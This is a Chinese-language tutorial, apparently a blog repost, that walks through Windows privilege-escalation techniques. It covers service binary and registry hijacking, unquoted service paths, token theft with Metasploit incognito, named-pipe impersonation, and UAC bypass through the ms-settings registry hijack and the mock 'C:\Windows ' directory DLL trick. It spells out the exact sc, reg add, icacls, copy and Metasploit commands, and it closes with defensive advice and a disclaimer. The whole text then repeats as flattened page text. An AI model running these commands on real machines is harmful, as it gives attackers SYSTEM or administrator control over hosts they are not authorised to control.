Permission elevation
字数 1077 2025-08-11 08:35:57

Windows权限提升技术详解

前言

本文详细介绍了多种Windows系统权限提升技术,包括系统服务提权、注册表权限滥用、未引用服务路径漏洞、令牌窃取、命名管道提权和UAC绕过等技术。这些技术仅用于安全研究和防御目的,请勿用于非法用途。

系统服务提权

不安全的服务权限

当低权限用户对高权限服务的启动文件有写权限时,可以替换服务启动程序获取高权限shell。

检测方法

accesschk.exe /accepteula test -uwcqv *

利用步骤

  1. 检查用户对哪些服务有配置权限
  2. 替换服务启动程序:
    sc config Apache2.4 binpath= "cmd.exe /k c:\fw.exe"
    sc stop Apache2.4
    sc start Apache2.4
    

服务注册表权限脆弱性

当低权限用户对服务注册表有写入权限时,可通过修改注册表提权。

检测方法

accesschk.exe /accepteula test -uvwqk HKLM\SYSTEM\CurrentControlSet\Services

利用步骤

  1. 修改ImagePath指向恶意程序:
    reg add HKLM\SYSTEM\CurrentControlSet\Services\Apache2.4 /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k c:\fw.exe" /f
    
  2. 检查服务重启权限:
    accesschk64.exe /accepteula test -ucqv Apache2.4
    
  3. 重启服务:
    sc stop Apache2.4
    sc start Apache2.4
    

未引用服务路径漏洞

原理

当服务启动路径包含空格但未用引号括起时,Windows会尝试按空格分割执行程序。

检测方法

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\\Windows\\\\" |findstr/i /v """

利用步骤

  1. 检查路径权限:
    icacls "C:\Program Files (x86)"
    icacls "C:\Program Files (x86)\Photodex"
    icacls "C:\Program Files (x86)\Photodex\ProShow Producer"
    
  2. 在可写目录放置恶意程序并重命名
  3. 重启服务或等待系统重启

Metasploit模块

windows/local/unquoted_service_path

令牌窃取技术

访问令牌基础

访问令牌包含用户安全上下文信息,包括SID和特权列表。

查看令牌信息

whoami /all

令牌类型

  • 主令牌:与进程相关的用户安全上下文
  • 模拟令牌:允许服务器临时模拟客户端安全上下文

Metasploit令牌操作

load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
steal_token <PID>

进程令牌窃取实现

  1. 使用OpenProcess打开目标进程
  2. 使用OpenProcesToken获取进程令牌
  3. 使用DuplicateTokenEx复制令牌
  4. 使用CreateProcessWithTokenW创建新进程

示例代码

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>

// 代码实现略,详见原文

命名管道提权

命名管道基础

命名管道是进程间通信机制,遵循格式\\.\pipe\pipename

管道服务器实现

#include <windows.h>
#include <iostream>

int main() {
    // 创建命名管道
    HANDLE lCreatePipe = CreateNamedPipe(...);
    // 等待客户端连接
    BOOL ConnectSuccess = ConnectNamedPipe(...);
    // 读取数据
    BOOL Read = ReadFile(...);
    // 模拟客户端
    BOOL Impersonate = ImpersonateNamedPipeClient(...);
    // 获取令牌并创建进程
    // 代码实现略
}

客户端实现

#include <windows.h>
#include <iostream>

int main() {
    // 连接到服务端
    HANDLE ConectionTo = CreateFile(...);
    // 发送数据
    BOOL Write = WriteFile(...);
}

UAC绕过技术

UAC基础

UAC通过创建两个访问令牌(标准用户和管理员)实现权限控制。

检查UAC状态

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

检查UAC级别

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

白名单文件绕过(注册表劫持)

  1. 查找autoElevate为true的白名单文件:
    strings.exe -s c:\windows\system32\*.exe | findstr /i "autoElevate"
    
  2. 劫持注册表项:
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "c:\windows\system32\cmd.exe /c start cmd" /f
    reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d ""/f
    

DLL劫持加模拟可信任目录

  1. 创建带空格的目录:
    md "\\?\C:\Windows "
    md "\\?\C:\Windows \System32"
    
  2. 复制白名单文件:
    copy c:\windows\system32\winsat.exe "\\?\C:\Windows \System32\winsat.exe"
    
  3. 放置恶意DLL文件

其他提权技术

组策略凭据获取

Metasploit模块:

post/windows/gather/credentials/gpp

WMIC提权

从administrator提升至system:

wmic process call create "cmd.exe"

防御建议

  1. 严格控制服务和注册表权限
  2. 对所有服务路径使用引号
  3. 限制SeImpersonatePrivilege等特权
  4. 监控命名管道活动
  5. 保持UAC启用并设置为较高级别
  6. 定期审计白名单程序注册表项
  7. 监控系统目录异常创建行为

以上技术仅供安全研究和防御参考,请勿用于非法用途。

Windows权限提升技术详解 前言 本文详细介绍了多种Windows系统权限提升技术,包括系统服务提权、注册表权限滥用、未引用服务路径漏洞、令牌窃取、命名管道提权和UAC绕过等技术。这些技术仅用于安全研究和防御目的,请勿用于非法用途。 系统服务提权 不安全的服务权限 当低权限用户对高权限服务的启动文件有写权限时,可以替换服务启动程序获取高权限shell。 检测方法 : 利用步骤 : 检查用户对哪些服务有配置权限 替换服务启动程序: 服务注册表权限脆弱性 当低权限用户对服务注册表有写入权限时,可通过修改注册表提权。 检测方法 : 利用步骤 : 修改ImagePath指向恶意程序: 检查服务重启权限: 重启服务: 未引用服务路径漏洞 原理 当服务启动路径包含空格但未用引号括起时,Windows会尝试按空格分割执行程序。 检测方法 : 利用步骤 : 检查路径权限: 在可写目录放置恶意程序并重命名 重启服务或等待系统重启 Metasploit模块 : 令牌窃取技术 访问令牌基础 访问令牌包含用户安全上下文信息,包括SID和特权列表。 查看令牌信息 : 令牌类型 主令牌 :与进程相关的用户安全上下文 模拟令牌 :允许服务器临时模拟客户端安全上下文 Metasploit令牌操作 进程令牌窃取实现 使用OpenProcess打开目标进程 使用OpenProcesToken获取进程令牌 使用DuplicateTokenEx复制令牌 使用CreateProcessWithTokenW创建新进程 示例代码 : 命名管道提权 命名管道基础 命名管道是进程间通信机制,遵循格式 \\.\pipe\pipename 。 管道服务器实现 客户端实现 UAC绕过技术 UAC基础 UAC通过创建两个访问令牌(标准用户和管理员)实现权限控制。 检查UAC状态 : 检查UAC级别 : 白名单文件绕过(注册表劫持) 查找autoElevate为true的白名单文件: 劫持注册表项: DLL劫持加模拟可信任目录 创建带空格的目录: 复制白名单文件: 放置恶意DLL文件 其他提权技术 组策略凭据获取 Metasploit模块: WMIC提权 从administrator提升至system: 防御建议 严格控制服务和注册表权限 对所有服务路径使用引号 限制SeImpersonatePrivilege等特权 监控命名管道活动 保持UAC启用并设置为较高级别 定期审计白名单程序注册表项 监控系统目录异常创建行为 以上技术仅供安全研究和防御参考,请勿用于非法用途。